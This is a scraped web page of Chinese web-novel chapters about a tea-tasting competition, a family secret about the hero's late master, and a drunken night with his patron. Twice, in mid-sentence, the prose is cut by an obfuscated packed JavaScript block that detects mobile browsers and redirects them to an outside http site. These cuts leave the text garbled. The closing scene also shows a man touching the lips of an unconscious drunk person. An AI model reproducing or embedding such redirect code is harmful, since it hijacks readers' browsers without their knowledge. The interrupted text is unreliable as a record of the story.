几个人脸色都变得很难看,有人隐晦地看了一眼工作人员的方向,发现已经吸引了对方的注意,便忍气吞声地没再说话。 楚韫要的就是这个结果,看对面安分了,便低头在手机上回了两个信息。 参赛者陆陆续续地来齐,楚韫大概扫了一眼,估计有七八十人。 刚才负责签到的一个工作人员站了起来,虽然极力抑制,但还是能看出脸上的喜悦:“大家晚上好,现在所有的参赛选手都已经到齐了,接下来请按照我念名字的顺序去前台办理入住,赛程表和时间安排已经发放到各位的邮件里,大家的房间里也有纸质说明。” 伴随着那个工作人员喊人的声音,楚韫听见身后两人低声交谈:“我怎么听说我们原定的不是这个酒店啊?” “小道消息,本来这届GLGA的赞助商和以前都是一样的,结果前几天瑞禾突然也掺和进来,投了得有这些!” 对方应该是用手比划了一个数字,楚韫看不到,但光凭包下这家酒店背后所代表的庞大数字已经不难想象,更何况这应该还只是冰山一角。 “……唉,看来这趟算来值了,不管拿不拿名次,好歹享受了几天。” “说什么呢,你也不想想瑞禾为什么今年突然来当资方?还不是为新项目找合作对象的。” “那可是瑞禾啊,背后靠的是亿恒,攀上这棵大树,可就真是青云直上了。” 身后沉默了一会才再度有了声音。 “是这个理,但今年简直是神仙打架,别的不说,连日本那个好几年没有在茶界赛事露面的泽田宽美都来了,我们简直是希望渺茫啊。” “嗐,不管怎么样,尽力而为就行了!” 长长的队伍恰好排到了楚韫这里,他递上身份证,然后从前台小姐那里接过房卡。瑞禾这次赞助简直是大手一挥,直接给每个参赛者都安排了独立单间。因此当楚韫推开他的房间门,看到布置得堪称完美的单人套间时,终于感受到了这一天里难得的舒心。 他绕过客厅,径直走进了卧室,却在看到里面陈设时愣了一下。 房间中央的大床尤其引人注目,蓬松的白色羽绒被像一朵轻盈的云,表面覆盖着一层细密柔软的绒毛,仿佛轻轻一碰就会陷进去。雪白的天鹅绒床笠包裹着厚实的床垫,边缘处垂下的绒毛随着轻微的动作微微颤动,散发着温暖而舒适的气息。 楚韫眨了眨眼,目光又落在了地上的白色羊毛地毯上,还有它旁边的躺椅、落地灯—— 如果不是知道这是酒店房间,他甚至会以为回到了自己别墅的那间卧室。 这样充满了巧思的布置,不可能是酒店方的自主行为,一定是经过了某人的授意。 楚韫的思绪有些凌乱,他躺在了房间中央的那张大床上,任由自己的身体缓缓下陷。 他的目光定格在白色的天花板上,不知怎么就想起刚刚在楼下听到的传闻。 瑞禾会投资这场比赛有些出乎他的意料,毕竟之前傅砚珩从来没表现出这方面的倾向。但就像刚才那两个参赛选手说的,这场GLGA比赛人才济济,利用这次机会,瑞禾完全可以找到最称心如意的合作伙伴。 自己之前和对方签订的协议,也只是说在赢得名次的情况下才正式展开合作,这里面的不确定性很多,没必要把希望寄托在他一个人身上,傅砚珩有他的权衡和考量其实再正常不过。 道理楚韫都懂,但心里还是像被一条细细的线磨着,泛起淡淡的酸涩和不适,让人无可奈何,又无从下手。 楚韫很缓慢 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傅砚珩没骗楚韫,他在美国处理完分公司的事情就马不停蹄地上了飞机,为了能空出接下来的几天看楚韫比赛,他在飞机上都在处理工作。 还没等楚韫开口,傅砚珩先说道:“提一个过分点的要求,能让我在你这的沙发上睡一会吗?” 楚韫看他脸上不加掩饰的疲惫,心里一阵天人交战,最后还是心软了:“你去卧室里睡吧,床上舒服些。” 傅砚珩闻言也没和他客气,真的就去卧室补觉了。 楚韫后知后觉地扶额叹息。之前以为陆俨完全是多此一举,现在看来他带的一次性床品还是有用武之地的。 . 傅砚珩是真的太困了,沾床就陷入了梦乡。楚韫轻手轻脚地拉上了卧室的窗帘,然后关掉了床头的射灯。 黑暗来临的前一秒,傅砚珩眼底淡淡的青影落在了他眼底。楚韫听着床上绵长的呼吸声,心里泛起波澜。 这么匆忙地赶过来,是有什么紧急的事吗? 手机震动了一下,楚韫怕打扰傅砚珩睡觉,便关上了卧室的门。 是组委会发来的邮件,说接下来的这十天里,各位参赛选手的三餐都由酒店提供。 楚韫看了眼时间,正好是饭点。他的目光落在紧闭的卧室门上,想了想还是给傅砚珩发了条微信,这才下楼去吃晚饭。 . 灯光透过水晶折射出细碎的金光,如同将整片星河揉碎了悬于头顶,随着宾客的走动,光影在地面投下流动的涟漪。 宋清峦穿梭在一众参赛选手中间,他这几年凭借着一手出色的制茶技艺在业界大放异彩,年轻一辈的茶叶制作师几乎无人能出其右,更遑论作为现任茶业协会副会长余晋华的爱徒,这个身份已经能够让无数人羡慕眼红,因此他经过之处总有人和他打招呼。 宋清峦对这种众星捧月的感觉谈不上喜欢,也谈不上讨厌,他只是淡淡地点头致意,拿着自己的餐盘想要找一个安静一点的地方坐下吃饭。 直到他看见了拿着一个空盘子站在点心架旁的楚韫。 宋清峦没有立刻上前,而是静静看着楚韫皱起眉头,手里的点心夹在芒果慕斯和抹茶千层之间来回摆动。 “吃抹茶千层吧,芒果慕斯里面加了菠萝汁。” 楚韫听到熟悉的声音,微微一顿,随即神情坦然地夹了一块抹茶千层。 但他没有分给宋清峦哪怕一个眼神,直接就从对方身边擦肩而过。 宋清峦对于他的反应已经习以为常了,无奈地摇了摇头,跟了上去。 他期望从对方脸上看到哪怕是一点点的情绪波动,然而当楚韫看到宋清峦拉开自己对面的椅子打算坐下时,依旧面无表情,好像对面是一团空气。 宋清峦并不觉得尴尬,笑了笑开口:“怎么突然想来参赛了?” 楚韫叉起一小块生菜,语气淡淡:“想来就来了,没有那么多为什么。” 宋清峦没再在这个话题上坚持下去,凭着他们两个现在游丝般的关系,恐怕他再深入下去就会直接断掉。 “上次见你忘了问,这些年你过得好吗?” 楚韫一边想着回去让陆俨学学这道奶油炖鸡,一边随口回答道:“挺好的。” 怎么可能好。 宋清峦回想起刚才听说的酒店大堂里的那些奚落与嘲讽,苦笑了一下,用一种温和到极点的口吻说道:“小楚,我当年就说过,虽然我不再是廖叙生的徒弟,但永远都是你的师兄。我知道这些年你一直恨我,但你要相信,我对你绝无恶意。” 楚韫不想在这个节骨眼上和别人再起争执,但宋清峦偏偏要让他不痛快,他正思考着是说点难听的赶走对方,还是自己主动端盘子离开,放在桌子上的手机突然嗡嗡地振动起来。 “你在哪?” 对面的声音听起来低沉沙哑,明显是刚刚睡醒。 宋清峦听不到电话里在说什么,只能看见楚韫的嘴角很轻地勾了一下,对电话里的人说:“我在楼下吃饭,正好也快吃完了。” “……需不需要我帮你带点吃的上去?” 直到楚韫挂断电话,宋清峦才从恍惚中清醒过来,张了张嘴,试探性地问道:“你……和别人住在一起吗?” 楚韫淡淡看他一眼,像是看穿了他不为人知的心思:“没有。一个朋友恰好住在这里,过两天就走了。” 说完,他干脆利落起身,扔下一句“你自便”,就头也不回地离开了。 22. 初赛 楚韫不知道傅砚珩喜欢吃什么,就在这家酒店的餐牌上划了几道招牌菜,让他们一会送到自己房间。 门一打开,楚韫就看到傅砚珩正站在客厅的落地窗前打电话,虽然楚韫无意偷听,但从傅砚珩的只言片语中还是能听出来是关于亿恒下个季度的产品研发。 听到声音,傅砚珩回过头,目光正好与楚韫相对。 楚韫指了指门外,无声地做口型:我要不要回避一下? 傅砚珩摇了摇头,随即朝他露出一点笑意,敲了敲腕表,示意他自己很快就好。 楚韫便先回了趟卧室。 床铺已经被人重新整理好,整齐而毫无褶皱,丝毫看不出刚刚睡过人的迹象。 楚韫在脑海里稍微想象了一下傅砚珩铺床的样子,立刻就觉得有点荒诞好笑,事实上他也确实表现在脸上了。 “在想什么?这么好笑。” 楚韫自然不能说我在想象你铺床,很快敛去了笑意,面色平静地说:“没什么。” 他非常自然地转移话题:“茶几上有点心,我刚刚带上来的,你可以先吃一块垫垫,我怕他们送餐会晚一些。” 傅砚珩还带着刚刚睡醒的餍足,整个人看起来神采奕奕,闻言挑眉道:“太有心了,谢谢楚老师。” 于是两个人坐在沙发上,楚韫看着傅砚珩咬了一口桂花糕,终于问道:“你之前不是说没时间吗?怎么今天突然来了?” 傅砚珩好笑道:“我好像说的是要参加一个投资项目的开幕式。” 楚韫立马想到了瑞禾投资GLGA的事,就听傅砚珩接着说:“我现在就是来参加的。” “……” 楚韫无语了两秒,这才说:“那你参加完开幕式是不是就走了?” 傅砚珩吃完一块桂花糕,抽了张纸巾擦干净手,心情很好地逗弄他:“你希望我留在这里看你比赛吗?” 这句话让楚韫一时间不知道怎么回答。希望吗?当然是希望的。 楚韫有些狼狈地躲开傅砚珩探究的目光,语气自然道:“我都可以,关键看你的日程安排。” 傅砚珩很深地看了他一眼,似乎想要在那张波澜不惊的脸上发现一些蛛丝马迹,但什么都没有,就像一张干干净净的宣纸,不曾沾染丝毫墨痕。 半晌他笑了:“正好这周想给自己放个假,邬桥县这里风景不错,我会在这里多待几天。” 楚韫弯了弯嘴角,心里说不出是什么滋味:“好。” . 傅砚珩在楚韫这吃完晚餐便准备回去了,临走的时候指了指楼上:“有时可以直接来找我,我就住在二十三楼的总统套房。” ……那你为什么不回自己房间睡觉? 像是洞穿了楚韫的所思所想,傅砚珩轻叹,细听之下语气里还有点委屈:“太想见到楚老师了,就先来你这里了。” 楚韫哽了一下,耳朵又浮起一片薄薄的红。他突然想到了什么,去了趟卧室又很快回来,手上攥着一个香囊:“这是之前答应要给你做的香囊,我放了茉莉花,你要是不嫌弃的话,晚上睡觉可以放在枕边。” 傅砚珩接过,放到鼻子旁边嗅了嗅,笑道:“很香,我今晚试试,谢谢楚老师。” 楚韫松了口气。之前装行李的时候,他犹豫了一下,还是把这个香囊装了进去,当时他的想法很简单,万一傅砚珩要来看比赛呢?虽然他自己都觉得这个可能性不大。 傅砚珩看他出神,以为他是在担心明天的比赛:“不用有心理负担,我看过那些参赛选手的资料。” 楚韫一愣,就听他继续说:“虽然不可否认这届的对手实力强劲,但你过去的经历足以让你战胜一切。怀揣着坚定信念的人不会真正失败。” “更何况,我很看好你。” . 房间门被关上,楚韫回到卧室查看组委会刚刚发来的邮件,明天下午的初赛采取五人一组的方式,每人有六种茶品需要辨别,正确率最高的两人进入复赛。 电脑屏幕发出莹莹幽光,楚韫盯着他这一组的成员名单,看到了那位来自日本的泽田宽美,除了她之外,这组的其他人他都不怎么认识。 楚韫合上电脑,洗漱过后准备睡觉。掀开被子的手停顿两秒,像是在思索什么,随即没什么表情地直接躺了上去。 . 第二天上午的开幕式先由GLGA主席做开场致辞,然后主持人简单介绍了一下赛事流程,最后本届赛事的三位评委和大家见面并发言,一场开幕式就结束了。但是据楚韫旁边聊天的两位选手所说,本来还有一个环节是要让最大资方进行致辞,但被瑞禾那边推掉了。 瑞禾投资的事情传得很快,仅仅是一夜之间,所有的参赛选手都知道了这个重磅消息,很多人更加跃跃欲试,想要在赛场上大放光彩。 楚韫的座位被安排得很靠后,因此他看不到第一排的情况,也不知道今天傅砚珩有没有来现场。 开幕式结束后,楚韫跟着其他选手一起往会议厅外走,突然感觉到肩膀被人拍了一下。 楚韫回头,看到了一张陌生的脸庞。 对方是个面容秀丽的年轻人,眉眼间尚且笼罩着一层青涩,脸上的笑容温暖和煦:“你好,我叫沈清,很早之前就听说过你,一直想要认识一下。” 对比之下,楚韫的反应就显得有些冷淡,只是客套地说了句“你好”,便没了下文。 沈清像是没有感觉到楚韫的疏离,俏皮地眨了眨眼,有些苦恼地说:“说起来这还是我第一次参加大型赛事,拿名次肯定是没希望了,还是给你们加油打气吧。” 楚韫对自己现在在茶界的风评还是有自知之明的,他不认为这个叫沈清的小男孩是单纯想要认识一下自己,至于他听说的和自己有关的内容大概也不是什么好话。 “抱歉,我后面还有点事情,如果你没有其他事情的话,我就先走了。” 沈清有些遗憾地耸了耸肩,望着楚韫离开的背影,脑海里却浮现出一张陈旧的照片。 上面的女人与如今身姿挺拔、面容昳丽的青年有着极为相似的眉眼,但最让他觉得有趣的是当年在村子里见到的那个男人。 “你们究竟有没有关系呢?” 沈清喃喃自语。 . 下午的初赛虽说是考察茶叶制作者的基本功,但对于一群年轻后生来说还是颇有难度,绝大多数参赛者在这里就遗憾退场。 楚韫分到的那组相对靠后,在等待的过程中就能看到很多人垂头丧气地出来,面如土色地抱怨今年的考题太难了,很多组甚至出现了前两名正确率也不高的情况。 一个长相秾丽美艳的女人闻言冷哼了一声,她就坐在楚韫身边,因此一举一动都能被楚韫察觉到。 楚韫抬眼看了对方一眼,就见那个女人嘴角挂着毫不掩饰的讥讽的笑,用一口生涩别扭的中文说道:“都说中国是茶叶的发源地,但我看中国人对茶道的了解较日本差之多矣。” 她这一番赤裸裸的、挑衅般的话语让周围很多人面色一变,有人愤愤不平地想要和她理论,就在这时,工作人员走了出来,拿着分组名单开始叫名。 五个人按照工作人员叫名的顺序依次进去,在叫到泽田宽美时,楚韫身边的那个女人撩了撩头发,自信大方地走了进去。 . 五个人按照白绸布长桌上的名签站在自己对应的位置,裁判长讲完初赛规则,宣布比赛正式开始。 “第一组,请辨别产地和工艺。” 工作人员为每位参赛选手端来一只茶荷,楚韫指尖悬在茶荷上方,手指并拢轻叩边缘,干茶撞击瓷面的脆响里,有一些格外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383309|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉实的颗粒撞出闷声。他捻起一撮凑到鼻端,焦糖香裹着松烟味漫进鼻腔,尾调藏着若有似无的蜜香。 五秒钟过后,裁判长摇铃,示意这一组的辨别时间已到。 所有人都将手里的茶叶放了回去,从左到右开始说出自己的答案。 前三个人说的时候明显底气不足,到了泽田宽美,她微微一笑,用日语笃定地说道:“杭州狮峰,明前采摘,传统铁锅辉锅工艺。” 接下来就是楚韫,他平静道:“正山小种,传统烟熏工艺,桐木关核心产区。” 三位评委分别在各自的计分表上写下第一轮五人的得分,接下来的几轮中,茶品辨别的难度越来越大,前面的三个人到最后已经隐隐有崩溃的趋势。 “白毫银针,福鼎磻溪,2000年左右,日光萎凋七小时。” 泽田宽美说完,脸上已经露出了胜券在握的神情。最后这一轮最大的难度就在于判断茶叶的生产年份,但对于她来说,日日夜夜的勤学苦练足以让一切变得游刃有余。 “普洱生茶,勐海大叶种,七十年代昆明干仓,用的是勐宋山的茶菁拼配。” 楚韫回想着刚才闻到的茶叶气味,陈香里掺着丝仓味,却又比普通普洱多了层木质调,还有刚才咬断茶叶时尝到的勐宋茶特有的苦底回甘,毫不犹豫地给出了自己的答案。 泽田宽美第一次开始打量身旁的这个年轻人,他身上有着中国人特有的那种蕴藉雅致,让她想起师父茶室里挂着的那幅水墨清荷。和其他人的手忙脚乱、自己的锋芒毕露比起来,这个年轻人似乎总是从容不迫的。 她知道这种从容不迫通常代表着什么,那是一种更加内敛沉淀的自信。 与此同时,三位评委经过确认后展示出了五位选手的分数。泽田宽美扫视一眼,目光震惊地钉在了最后一个数字上——98.8,比自己的97.9还要高出将近一分。 她不甘心地咬了咬下唇,举手示意道:“我想请教一下各位评委,我和五号选手的差距在哪。” 一个白发苍苍的老者眯了眯眼睛,慢悠悠地说:“最后一题,你面前的那份白毫银针实际上是2019年产的,而五号选手的普洱生茶是1976年生产,你估计的产年偏离更大,因此略逊一筹。” 泽田宽美顿了一下,点了点头:“受教了,谢谢。” 五个人依次离开赛场,只是与前面几组不同,被淘汰的三个人反而满脸喜气,晋级的两个人一个神情阴鸷,一个面色淡淡。 走在前面的泽田宽美突然停下脚步,回头看了一眼楚韫,神色复杂:“虽然我之前从来没听说过你,但你刚刚的表现确实让我刮目相看,期待在复赛和你再次较量。” 楚韫微微颔首:“好。” 泽田宽美得到回复,扬起下巴快速离开了。 她走后,刚才一直在围观的其他选手纷纷围了上来,七嘴八舌地问到底发生什么事了。 楚韫懒得掺和这些事,索性先行离开。在他身后,那三个被淘汰的选手你一言我一语地说起了楚韫是如何压倒泽田宽美,还有对方没拿到小组第一时难看至极的脸色。 大家都是看到泽田宽美刚才是如何嚣张挑衅的,现在知道她没拿到小组第一自然觉得大快人心,不知道是谁说了一句:“这么说,楚韫的实力确实是毋庸置疑啊。” 四周安静了两秒钟。 这些年因为廖叙生的事,楚韫在茶界的风评也跟着一落千丈,当年廖叙生死后,几位在茶界有着举足轻重影响力的制茶师联名上书,要求茶叶协会彻查楚韫在“天工盏”大赛上获得的冠军是否作假,结果茶叶协会的人查了三个月都一无所获,最后这件事就这么不了了之了。 但很多时候,所谓的“不了了之”反而更加耐人寻味,更能助长那些阴暗角落里滋生的恶意和诋毁。 23. 真相 这家五星级酒店很大,大到各种设施场所一应俱全,这家五星级酒店也很小,小到楚韫吃晚餐的时候又碰到了那个叫沈清的少年。 对方一看见自己,一双小鹿般灵动的眼睛立刻亮了起来,热情地朝他挥手:“楚韫!” “……” 这下他连视而不见都做不到了。 楚韫生生停下脚步,客气而疏离地问道:“有什么事吗?”言外之意就是,没什么事就不要打扰我吃饭。 但沈清要么是脑子少根弦没听出来,要么就是听出来了但依旧死缠烂打。 “嗐,就是想和你聊聊天,下午的事我可都听说了,那个日本人那么狂妄,看不起我们中国的制茶师,还好有你碾压她,治治她那不可一世的脾气!” 沈清说着,眼里已经充满了崇拜的光芒。 楚韫笑了笑,没说什么。对方性格有缺陷是事实,但一场初赛根本看不出来选手的真正实力,别人可以拍手称快,自己却不能掉以轻心。 “对了,”沈清眼睛弯起,喜笑颜开地说:“没来得及跟你说,我也不知道是走了什么狗屎运,居然过了初赛!!” 对方的情绪实在是过于热烈激动,有一种莫名的喜剧色彩。楚韫不明显地笑了下:“恭喜。” 楚韫晚餐向来吃得少,很快就放下了筷子。沈清见状也加快了速度,但此时楚韫已经打算告辞离开了。 “等一下,”沈清露出一个人畜无害的笑容,竖起食指指了指楼上:“这家酒店的二十五层有一家行政酒廊,反正明天也没有比赛,要不我们今晚去喝一杯?” “不必了,”楚韫没有和他进一步交流的欲望,坦白而直率地说:“虽然我不知道你是出于什么原因想要‘认识我一下’,但我觉得我们的交往可以到此为止了。” 沈清已经料想到自己会被拒绝,笑容不变,抛出极具诱惑力的诱饵:“但如果我说,我想和你聊聊你师父的事呢?” 话音落下,他就明显感受到楚韫落在他身上的目光变得冰冷而尖锐,像是能洞穿他整个人的灵魂:“你知道什么?” “夜晚还很长,我们上去慢慢聊嘛。”沈清压下心里的惊骇,笑眯眯地说。 . 空气里沉浮着若有若无的雪松香气,与底下大堂的香水味迥然不同,显得冷静而内敛。光线从壁灯中温和地渗出,轻缓流动间照亮他们这桌的一方天地。 楚韫不习惯喝酒,因此只要了一杯苏打水,沈清选了一杯度数较低的金汤力。 侍者为他们两人送来酒水,又悄无声息地退下。楚韫抿了一口苏打水,双手交叠放在身前,看起来放松而漫不经心。 沈清咬着吸管,含糊不清地说:“你看起来不是很关心我要说什么。” 楚韫意味不明地说:“不是你说的,我们只是‘聊聊’?” 沈清一口酒差点呛着,一时无言以对:“……” “算了,”沈清收起脸上的笑意,整个人看起来严肃了许多,自报家门道:“你可能不知道吧,我是青龙岭村人。” 楚韫身体一僵,已经预料到了接下来他大概率会说些什么。 “这个地方对你来说也许很陌生,”沈清用吸管搅弄着杯里的冰块,“但在我小的时候发生了一件事情。” “我们村子里的一个女人未婚先孕后跑回了娘家,身上还带着一大笔钱。当时村子里的人都说,她是出去给人当了小三,被原配发现后给了一笔打胎费,让她去把孩子打掉。” 楚韫喉结上下滑动了一下,额角紧绷:“……然后呢?” 沈清耸了耸肩:“那女人心软得很,什么也没说,就那么怀胎十月一声不吭地把孩子生了下来。但你也知道,那个年代人们思想普遍保守,村子里的闲言碎语一直没停过,连带着那个女人的家人都要受到牵连。所以生下那个孩子的第二年,那个女人就带着孩子远走他乡了,再也没回来过。” 楚韫不知道是该松口气还是继续悬着心,就见沈清身体前倾靠了过来,低声说道:“你可能对我前面说的这些都不感兴趣,但就在那个女人走后的第二年,一个男人进了我们村子,说是来找人的。” “那个男人就是廖叙生,他找的就是那个未婚先孕的女人。” 楚韫逼迫自己冷静下来,声音克制:“首先,我不知道你和我说这些的目的是什么,其次,如果你不能拿出证据,你刚才说的那些话并不能让我相信。” 沈清的目光一瞬不瞬地盯着他,像是要在这张脸上找到旧人的剪影。几秒钟的时间,却好像有一世那么长,沈清似乎终于确定了什么,下定决心般从口袋里掏出一张照片,轻轻放在桌子上,斟酌着开口:“我的答案就在这。” 楚韫不知道那张照片上具体是什么,但在看到它的第一眼,胸腔里的心脏就开始示警般地疯狂跳动。 在一片喧嚣与寂静中,楚韫拿起了那张照片,在看清照片上的具体内容后,一阵眩晕感如山呼海啸般袭来—— 照片上的一男一女并肩站立在大片的茶田前,虽然相中世界只有黑白,但两人嘴角的微笑、脸上幸福的神情跨越了时光的磋磨,就那样真切鲜活地呈现在他眼前。 ——这两个人,一个是他的师父廖叙生,另一个是他的母亲楚盈慈。 不知道过了多久,楚韫才重新找回自己的声音,再开口时嗓子已经哑了:“……你怎么会有这张照片?” 沈清回答:“当时廖叙生就是拿着这张照片来村子里找人的,但那个女人已经和家人断绝了往来,因此谁也不知道她去了哪里。廖叙生寻人未果,几天后就离开了,这张照片是我母亲出去间苗的时候,在地里发现的。” 他笑了笑,语气染上几分唏嘘:“说起来,我之前还问过她,为什么要留下这样一张与她毫不相关的照片,结果她说,这是别人幸福的回忆,帮助别人保存这样一份珍贵的情感,我们也会获得幸福和好运的。” 楚韫没再说话,但只要细看,就能发现他拿着照片的手指在微微颤抖。 “我不知道冒昧做出这样的决定是否正确,但当年我跟着师兄在天工盏的赛场上看到你的第一眼,就觉得你和这个女人的眉眼太相似了。” 沈清意味深长地说:“也许是我猜错了,但我始终觉得,不管真相是什么,你作为廖叙生的徒弟,对于这些还是有知情权的。” “但如果我猜对了,那我母亲保存的这张照片就拥有了意义,她的信念就得到了回响。” 沈清喝掉杯里最后一点金汤力,看起来又恢复了平时的轻快俏皮:“我想和你聊的就这么多,时间也不早了,我们一起下楼吧。” 楚韫揉了把脸,摇头说:“不了,我想一个人待会,不过真的很感谢你今天和我说的这些……这也是我一直想知道的。” 沈清看了他一眼,露出孩子气的、满足的笑容:“不用谢,期待你在赛场上更精彩的表现。” . 沈清走后,楚韫的对面一下子就空了下来。侍者来收走了空杯,仿佛那里从来没有坐过人。说来也奇怪,他向来最擅长忍受孤独,因为他人生的大半旅程都是孑然一身,但此刻,坐在这里这么长时间,楚韫第一次感受到了窒息的孤独和冷清。 他从来没有像此刻这样渴望声色笑语,仿佛那些不属于他的东西能够将他从咸涩的海水里拉出来,烘干他身上的冰冷潮湿。 于是他坐到了吧台前。 调酒师把酒单推过来,楚韫随意地翻了翻,随便点了杯酒。 调酒师问他想要多少金酒,楚韫没怎么思考,选了一个占比更高的。 他看着对方取下冰镇过的高球杯,动作优雅又不失干脆利落地量酒、注酒。小刀在指尖翻飞,一片厚薄均匀的青柠片被切下。随即调酒师用拇指和食指捏住这片青柠,沿着杯口内壁快速、有力地擦拭一圈,再缓缓倒入汤力水。 冰块在吧勺的作用下,在杯中旋转、碰撞,叮咚作响,金酒、青柠汁与汤力水逐渐交融,一杯堪称是视觉享受的马提尼终于被推到楚韫面前。 “您的马提尼,请慢用。” 调酒师微笑着说,心里想的却是这位客人看起来心情不佳,虽然把目光放在了他调酒的动作上,眼神却是一片雾蒙蒙的,像是在看着虚空中不存在的东西。 于是他顿了顿,轻声说道:“虽然它现在辛辣冷冽,但喝下去,过了一会就能回暖。” 楚韫抬起眼,弯了下唇角向他道谢。果真如他所说,辛辣的酒液乍一入喉,灼烧着五脏六腑,但很快就让他感受到了一丝温暖。 他感觉自己现在像一具行尸走肉,无法思考,连呼吸都觉得困难,过去那些仅剩不多的幸福在这个夜晚化为飞灰,而他连一点燃烧后的余烬都无法得到。 面前这杯酒似乎成为了他还存活于世上的证据,也只有这杯酒能让他短暂地麻痹自己,逃避那些他不愿面对的现实。 楚韫面无表情地把酒液一饮而尽,招呼来侍者:“再来一杯威士忌。” . 傅砚珩看到楚韫的时候,他正一手支着下颌,目不转睛地看着调酒师为另一位客人调酒。 “这么好看?” 楚韫下意识点了点头,又慢半拍地摇了摇头。 傅砚珩坐到他旁边,这才发现不对劲。 平日里总是冷淡疏离的一张脸在酒精的作用下染上绯色,连带着双唇都红得绮靡,勾得人浮想联翩。那双眼睛氤氲着水汽,像是雨洗过的琉璃,更多了几分脆弱易折的美。 傅砚珩的目光落在楚韫面前空了的酒杯上,挑了挑眉:“这就醉了?” 楚韫现在头脑迟钝,花了好长时间才反应过来对方在说什么,磕磕绊绊地反驳:“我,我没醉——” 下一秒,脸上传来一阵清凉的触感,是傅砚珩把手背贴在了他的脸上给他降温。 “醉鬼都说自己没醉。”傅砚珩笑意渐深,“你还知道我是谁吗?” 楚韫目不转睛地盯着他看,良久才轻轻说道:“师父。” 随即他又摇了摇头,动了动嘴唇:“不对……是父亲。” 这句话几乎是他呢喃着说出来的,因此傅砚珩没有听清,但他看清了楚韫眼里的破碎,像是完美无缺的琉璃出现了裂痕。 从一开始楚韫喝醉,傅砚珩就觉出几分反常,此刻这点不对劲变得越来越强烈。傅砚珩把语气放轻,循循善诱道:“手里拿的是什么?我可以看看吗?” 楚韫垂下眼帘,这才发觉他的左手一直紧紧压着那张照片,好像下一秒它就会飞走。 一股难以言明的酸涩突然涌上心头,楚韫瞪了傅砚珩一眼,只是说出来的话仍是软绵绵的:“不,不给,骗子。” 下一秒,对面人叹息着伸出手抹去他脸上水痕,指尖力度轻柔,甚至有几分小心翼翼。 “好,但是别哭了,好吗?” 傅砚珩觉得心疼又好笑,就在这时,那个调酒师走了过来,看见楚韫身边的傅砚珩,先是愣了一下,随后斟酌着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383310|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口:“先生您好,冒昧地问一下,您是这位先生的……” “家属。” 调酒师睁大了眼睛,随即掩饰般点了点头。傅砚珩看出他脸上的犹豫,主动问道:“刚才发生了什么?” 调酒师看了一眼醉意朦胧的楚韫,指了指之前他和沈清坐过的卡座,低声道:“之前还有一位先生,他们在那里聊了很久,之后这位先生就坐到这里点了几杯酒,但是看起来心情非常糟糕。” 傅砚珩向他道了谢,脸上看不出什么表情。 楚韫已经快要昏睡过去,见状傅砚珩支付了账单,然后用指腹蹭了蹭他的脸,诱哄着说:“我们回房间睡好不好?房间里有床,很柔软,比这里舒服一万倍。” 醉鬼从臂弯里抬起头,前额已经红了一块,意识不清地朝着身边人张开双臂,像是雏鸟寻求一个温暖的巢。 在调酒师饶有兴致的目光下,傅砚珩平静又坦然地让楚韫环住自己的脖子,双手扣住他的腰,直接把他打横抱了起来。 “别松手,下面有鳄鱼,掉下去它们就会把你吃掉。”傅砚珩恐吓他。 楚韫原本还松松垮垮的双臂立刻缠紧了,同时把脑袋埋进傅砚珩的胸膛,磨蹭了两下就不动了。 怎么这么好骗。 傅砚珩在心里叹气,心想还好今天他和人来这里谈生意,出来时正好看见楚韫,要不就以他喝醉后这么听话的样子,不知道有多少人都会觊觎着想要把他带走。 闻时就站在这家行政酒廊外面,看见傅砚珩怀里抱着人走出来,下意识就要上前帮忙,结果被自家傅总一个眼神制止了。 闻时暗自咂舌,心想他就一段时间没关注,这两人已经发展到这种地步了。 独自吃瓜吃到爽的闻时依旧恪尽职守,为两人按了电梯,硬着头皮小声说:“老板,需要我去买那个吗?” 傅砚珩冷冷施舍给他一个眼神:“你更该先去看看脑子。” 电梯门开,傅砚珩直接带楚韫去了自己顶层的总统套房,他倒没想别的,只是顾虑楚韫住的那一层还有很多其他选手,万一被人看到他们两人在一起,传出去会对楚韫比赛造成影响。 一路上怀里的人都很听话,安安分分的像是睡着了,饶是傅砚珩这样向来冷心冷情的人,心底也泛起一阵柔软。 闻时在前面把房间门打开,傅砚珩把人放到床上,偏头对他说:“回去休息吧,这没你什么事了。” 闻时恋恋不舍地在外面把门关上,第一次觉得下班也没有那么让人兴奋。 . 傅砚珩去洗手间弄了块湿毛巾,出来的时候楚韫已经陷入了梦乡,只是眉头微皱,看起来睡得不是很安稳。 傅砚珩抬手关了床头灯,借着微弱的光线用热毛巾轻轻地给他擦脸。睡梦中的醉鬼双唇微张,溢出一点微不可闻的轻哼,在这样静谧的夜晚毫无阻隔地传到了傅砚珩的耳朵里。 他手上动作一顿,眸色瞬间暗了下去。哪怕是星星点点的火种,在这样的夜晚也能将原野燎得寸草不生。更何况在他这,楚韫从来都是欲/念的化身。 傅砚珩知道趁人之危不好,但面对着这样一张他心心念念的脸,心中的情感还是像泡沫一样无可抑制地充盈膨胀,撑得一颗心都酸涩甜蜜。 于是他伸出了手,触碰到那水红诱人的唇,指尖轻轻摩挲。 楚韫可能是感觉出异样,无意识地伸出舌尖,很轻地舔了一下他的手指。 “……!” 傅砚珩触电般地收回了手,不那么明亮的灯光下,指尖的水痕依旧清晰可见。他终于意识到,在这种时候,任何克制的放纵只会为自己招致更加惊涛骇浪的迷乱。 火势越来越大了,几乎要将他的理智烧成飞灰。 